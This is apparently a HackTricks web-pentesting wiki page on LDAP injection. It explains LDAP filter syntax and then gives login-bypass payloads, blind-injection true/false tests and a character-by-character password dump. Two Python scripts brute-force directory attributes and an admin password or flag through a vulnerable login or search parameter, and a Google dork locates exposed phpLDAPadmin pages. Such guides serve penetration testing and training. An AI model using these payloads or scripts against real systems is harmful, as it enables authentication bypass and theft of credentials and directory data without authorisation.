ldap-injection.md (7066B)
1 --- 2 title: "LDAP Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ldap-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ldap-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # LDAP Injection 14 15 ## LDAP Injection 16 17 ### **LDAP** 18 19 **If you want to know what is LDAP access the following page:** 20 21 [Pentesting Ldap](/hacktricks/network-services-pentesting/pentesting-ldap) 22 23 **LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation. 24 25 [En Blackhat Europe 2008 Ldap Injection Blind Ldap Injection.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf) 26 27 **Filter** = ( filtercomp )\ 28 **Filtercomp** = and / or / not / item\ 29 **And** = & filterlist\ 30 **Or** = |filterlist\ 31 **Not** = ! filter\ 32 **Filterlist** = 1\*filter\ 33 **Item**= simple / present / substring\ 34 **Simple** = attr filtertype assertionvalue\ 35 **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ 36 **Present** = attr = \*\ 37 **Substring** = attr ”=” \[initial] \* \[final]\ 38 **Initial** = assertionvalue\ 39 **Final** = assertionvalue\ 40 **(&)** = Absolute TRUE\ 41 **(|)** = Absolute FALSE 42 43 For example:\ 44 `(&(!(objectClass=Impresoras))(uid=s*))`\ 45 `(&(objectClass=user)(uid=*))` 46 47 You can access to the database, and this can content information of a lot of different types. 48 49 **OpenLDAP**: If 2 filters arrive, only executes the first one.\ 50 **ADAM or Microsoft LDS**: With 2 filters they throw an error.\ 51 **SunOne Directory Server 5.0**: Execute both filters. 52 53 **It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.** 54 55 The filter has to start with: `&` or `|`\ 56 Example: `(&(directory=val1)(folder=public))` 57 58 `(&(objectClass=VALUE1)(type=Epson*))`\ 59 `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` 60 61 Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). 62 63 ### Login Bypass 64 65 LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed. 66 67 ```bash 68 user=* 69 password=* 70 --> (&(user=*)(password=*)) 71 # The asterisks are great in LDAPi 72 ``` 73 74 ```bash 75 user=*)(& 76 password=*)(& 77 --> (&(user=*)(&)(password=*)(&)) 78 ``` 79 80 ```bash 81 user=*)(|(& 82 pass=pwd) 83 --> (&(user=*)(|(&)(pass=pwd)) 84 ``` 85 86 ```bash 87 user=*)(|(password=* 88 password=test) 89 --> (&(user=*)(|(password=*)(password=test)) 90 ``` 91 92 ```bash 93 user=*))%00 94 pass=any 95 --> (&(user=*))%00 --> Nothing more is executed 96 ``` 97 98 ```bash 99 user=admin)(&) 100 password=pwd 101 --> (&(user=admin)(&))(password=pwd) #Can through an error 102 ``` 103 104 ```bash 105 username = admin)(!(&(| 106 pass = any)) 107 --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. 108 ``` 109 110 ```bash 111 username=* 112 password=*)(& 113 --> (&(user=*)(password=*)(&)) 114 ``` 115 116 ```bash 117 username=admin))(|(| 118 password=any 119 --> (&(uid=admin)) (| (|) (webpassword=any)) 120 ``` 121 122 #### Lists 123 124 - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) 125 - [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) 126 - [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) 127 128 ### Blind LDAP Injection 129 130 You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection: 131 132 ```bash 133 #This will result on True, so some information will be shown 134 Payload: *)(objectClass=*))(&objectClass=void 135 Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) 136 ``` 137 138 ```bash 139 #This will result on True, so no information will be returned or shown 140 Payload: void)(objectClass=void))(&objectClass=void 141 Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) 142 ``` 143 144 #### Dump data 145 146 You can iterate over the ascii letters, digits and symbols: 147 148 ```bash 149 (&(sn=administrator)(password=*)) : OK 150 (&(sn=administrator)(password=A*)) : KO 151 (&(sn=administrator)(password=B*)) : KO 152 ... 153 (&(sn=administrator)(password=M*)) : OK 154 (&(sn=administrator)(password=MA*)) : KO 155 (&(sn=administrator)(password=MB*)) : KO 156 ... 157 ``` 158 159 ### Scripts 160 161 #### **Discover valid LDAP fields** 162 163 LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). 164 165 ```python 166 #!/usr/bin/python3 167 import requests 168 import string 169 from time import sleep 170 import sys 171 172 proxy = { "http": "localhost:8080" } 173 url = "http://10.10.10.10/login.php" 174 alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" 175 176 attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] 177 178 for attribute in attributes: #Extract all attributes 179 value = "" 180 finish = False 181 while not finish: 182 for char in alphabet: #In each possition test each possible printable char 183 query = f"*)({attribute}={value}{char}*" 184 data = {'login':query, 'password':'bla'} 185 r = requests.post(url, data=data, proxies=proxy) 186 sys.stdout.write(f"\r{attribute}: {value}{char}") 187 #sleep(0.5) #Avoid brute-force bans 188 if "Cannot login" in r.text: 189 value += str(char) 190 break 191 192 if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value 193 finish = True 194 print() 195 ``` 196 197 #### **Special Blind LDAP Injection (without "\*")** 198 199 ```python 200 #!/usr/bin/python3 201 202 import requests, string 203 alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" 204 205 flag = "" 206 for i in range(50): 207 print("[i] Looking for number " + str(i)) 208 for char in alphabet: 209 r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) 210 if ("TRUE CONDITION" in r.text): 211 flag += char 212 print("[+] Flag: " + flag) 213 break 214 ``` 215 216 ### Google Dorks 217 218 ```bash 219 intitle:"phpLDAPadmin" inurl:cmd.php 220 ``` 221 222 ### More Payloads 223 224 [Ldap%20Injection](https%3A//github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%2520Injection)